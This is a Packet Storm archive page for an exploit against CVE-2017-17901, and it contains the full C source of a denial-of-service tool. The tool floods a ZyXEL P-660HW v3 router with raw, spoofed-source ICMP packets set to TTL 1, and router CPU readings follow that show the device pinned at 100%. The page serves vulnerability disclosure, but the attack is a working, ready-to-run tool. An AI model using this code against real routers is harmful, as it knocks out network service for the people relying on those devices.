what you don't know can hurt you
Home Files News &[SERVICES_TAB]About Contact Add New

ZyXEL P-660HW TTL Expiry Denial Of Service

ZyXEL P-660HW TTL Expiry Denial Of Service
Posted Dec 26, 2017
Authored by Hosein Askari

ZyXEL P-660HW version 3 suffers from a TTL expiry denial of service vulnerability.

tags | exploit, denial of service
advisories | CVE-2017-17901
SHA-256 | 5082d6d01d06a707019720b4359b6b47db0f95f8e2391ebd61562b8d08ab8756

ZyXEL P-660HW TTL Expiry Denial Of Service

Change Mirror Download
################
#Exploit Title: ZyXEL TTL Expiry Denial of Service
CVE: CVE-2017-17901
#CWE: CWE-400
#Exploit Author: Hosein Askari
#Vendor HomePage: https://www.zyxel.com/
#Version : v3
#Tested on: ZyXEL P-660HW
#Category: Network Appliance
#Author Mail : hosein.askari@aol.com
#description: According to RFC 791, the router should destroy any datagram with value of less than or equal to one. ZyXEL P-660HW v3 devices allow remote attackers to cause a denial of service (CPU consumption) via
a flood of IP packets with a TTL of 1.
#####################
#include <sys/socket.h>
#include <stdio.h>
#include <string.h>
#include <unistd.h>
#include <stdlib.h>
#include <sys/types.h>
#include <sys/time.h>
#include <pwd.h>
#include <time.h>
#include <sys/utsname.h>
#include <netdb.h>
#include <netinet/in.h>
#include <netinet/ip.h>
#include <netinet/ip_icmp.h>
#include <netinet/igmp.h>
void banner(void) {

printf("TTL Expiry ZyXEL\n");
printf("Author: Hosein Askari");
}
void usage(const char *progname) {
printf("use : ./ZeXEL RouterIP count\n");
}
int attack( const char *name, unsigned int port, struct sockaddr_in *addr ) {
struct hostent *host;
memset(addr,0,sizeof(struct sockaddr_in));
addr->sin_family = AF_INET;
addr->sin_addr.s_addr = inet_addr(name);
if (addr->sin_addr.s_addr == -1) {
if (( host = gethostbyname(name) ) == NULL ) {
fprintf(stderr,"unknown host\n",name);
return(-1);
}
addr->sin_family = host->h_addrtype;
memcpy((caddr_t)&addr->sin_addr,host->h_addr,host->h_length);
}
addr->sin_port = htons(port);
return(0);
}
unsigned short in_cksum(addr, len)
u_short *addr;
int len;
{
register int nleft = len;
register u_short *j = addr;
register int sum = 0;
u_short answer = 0;
while (nleft > 1) {
sum += *j++;
nleft -= 2;
}
if (nleft == 1) {
*(u_char *)(&answer) = *(u_char *)j ;
sum += answer;
}
sum = (sum >> 16) + (sum & 0xffff);
sum += (sum >> 16);
answer = ~sum;
return(answer);
}
int func(int socket, unsigned long spoof_addr, struct sockaddr_in *dest_addr) {
unsigned char *packet;
struct iphdr *ip;
struct icmphdr *icmp;
int rc;
packet = (unsigned char *)malloc(sizeof(struct iphdr) + sizeof(struct icmphdr) + 8);
ip = (struct iphdr *)packet;
icmp = (struct icmphdr *)(packet + sizeof(struct iphdr));
memset(ip,0,sizeof(struct iphdr) + sizeof(struct icmphdr) + 8);

ip->ihl = 5;
ip->version = 4;
ip->tos = 4;
ip->id = htons(1234);
ip->frag_off = htons(0x2000);
ip->tot_len = 0;
ip->ttl = 1;
ip->protocol = IPPROTO_ICMP;
ip->saddr = rand() % 446674540;
ip->daddr = dest_addr->sin_addr.s_addr;
ip->check = in_cksum(ip, sizeof(struct iphdr));

icmp->type = rand() % 18;
icmp->code = rand() % 15;
icmp->checksum = in_cksum(icmp,sizeof(struct icmphdr) + 1);
if (sendto(socket, packet, sizeof(struct iphdr) + sizeof(struct icmphdr) + 1,0, (struct sockaddr *)dest_addr, sizeof(struct sockaddr)) == -1) { return(-1); }
free(packet);
return(0);
}
int main(int argc, char **argv) {
struct sockaddr_in dest_addr;
unsigned int i,sock;
unsigned long src_addr;
banner();
if ((argc != 3)) {
usage(argv[0]);
return(-1);
}

if((sock = socket(AF_INET, SOCK_RAW, IPPROTO_RAW)) < 0) {
fprintf(stderr,"run with root privilege\n");
return(-1);
}
src_addr = dest_addr.sin_addr.s_addr;
if (attack(argv[1],0,&dest_addr) == -1) { return(-1); }
for (i = 0;i < atoi(argv[2]);i++) {
if (func(sock,rand() % 4000000,&dest_addr) == -1) {
fprintf(stderr,"Error\n");
return(-1);
}
}

}
####################
ras> sys cpu display
CPU usage status:
baseline 2106307 ticks
sec ticks util sec ticks util sec ticks util sec ticks util
0 1712258 18.70 1 1730816 17.82 2 1738596 17.45 3 1715513 18.55
4 1529073 27.40 5 0 100.00 6 0 100.00 7 0 100.00
8 0 100.00 9 0 100.00 10 177665 91.56 11 1418797 32.64
12 0 100.00 13 0 100.00 14 0 100.00 15 0 100.00
16 0 100.00 17 0 100.00 18 0 100.00 19 0 100.00
20 0 100.00 21 0 100.00 22 0 100.00 23 0 100.00
24 0 100.00 25 0 100.00 26 0 100.00 27 0 100.00
28 0 100.00 29 0 100.00 30 0 100.00 31 0 100.00
32 0 100.00 33 0 100.00 34 0 100.00 35 0 100.00
36 0 100.00 37 0 100.00 38 0 100.00 39 0 100.00
40 0 100.00 41 0 100.00 42 0 100.00 43 0 100.00
44 0 100.00 45 0 100.00 46 0 100.00 47 0 100.00
48 0 100.00 49 0 100.00 50 0 100.00 51 0 100.00
52 0 100.00 53 0 100.00 54 0 100.00 55 0 100.00
56 0 100.00 57 0 100.00 58 0 100.00 59 0 100.00
60 758577 63.98 61 700450 66.74 62 0 100.00

Login or Register to add favorites

File Archive:

April 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Apr 1st
    10 Files
  • 2
    Apr 2nd
    26 Files
  • 3
    Apr 3rd
    40 Files
  • 4
    Apr 4th
    6 Files
  • 5
    Apr 5th
    26 Files
  • 6
    Apr 6th
    0 Files
  • 7
    Apr 7th
    0 Files
  • 8
    Apr 8th
    22 Files
  • 9
    Apr 9th
    14 Files
  • 10
    Apr 10th
    10 Files
  • 11
    Apr 11th
    13 Files
  • 12
    Apr 12th
    14 Files
  • 13
    Apr 13th
    0 Files
  • 14
    Apr 14th
    0 Files
  • 15
    Apr 15th
    30 Files
  • 16
    Apr 16th
    10 Files
  • 17
    Apr 17th
    22 Files
  • 18
    Apr 18th
    45 Files
  • 19
    Apr 19th
    0 Files
  • 20
    Apr 20th
    0 Files
  • 21
    Apr 21st
    0 Files
  • 22
    Apr 22nd
    0 Files
  • 23
    Apr 23rd
    0 Files
  • 24
    Apr 24th
    0 Files
  • 25
    Apr 25th
    0 Files
  • 26
    Apr 26th
    0 Files
  • 27
    Apr 27th
    0 Files
  • 28
    Apr 28th
    0 Files
  • 29
    Apr 29th
    0 Files
  • 30
    Apr 30th
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2022 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close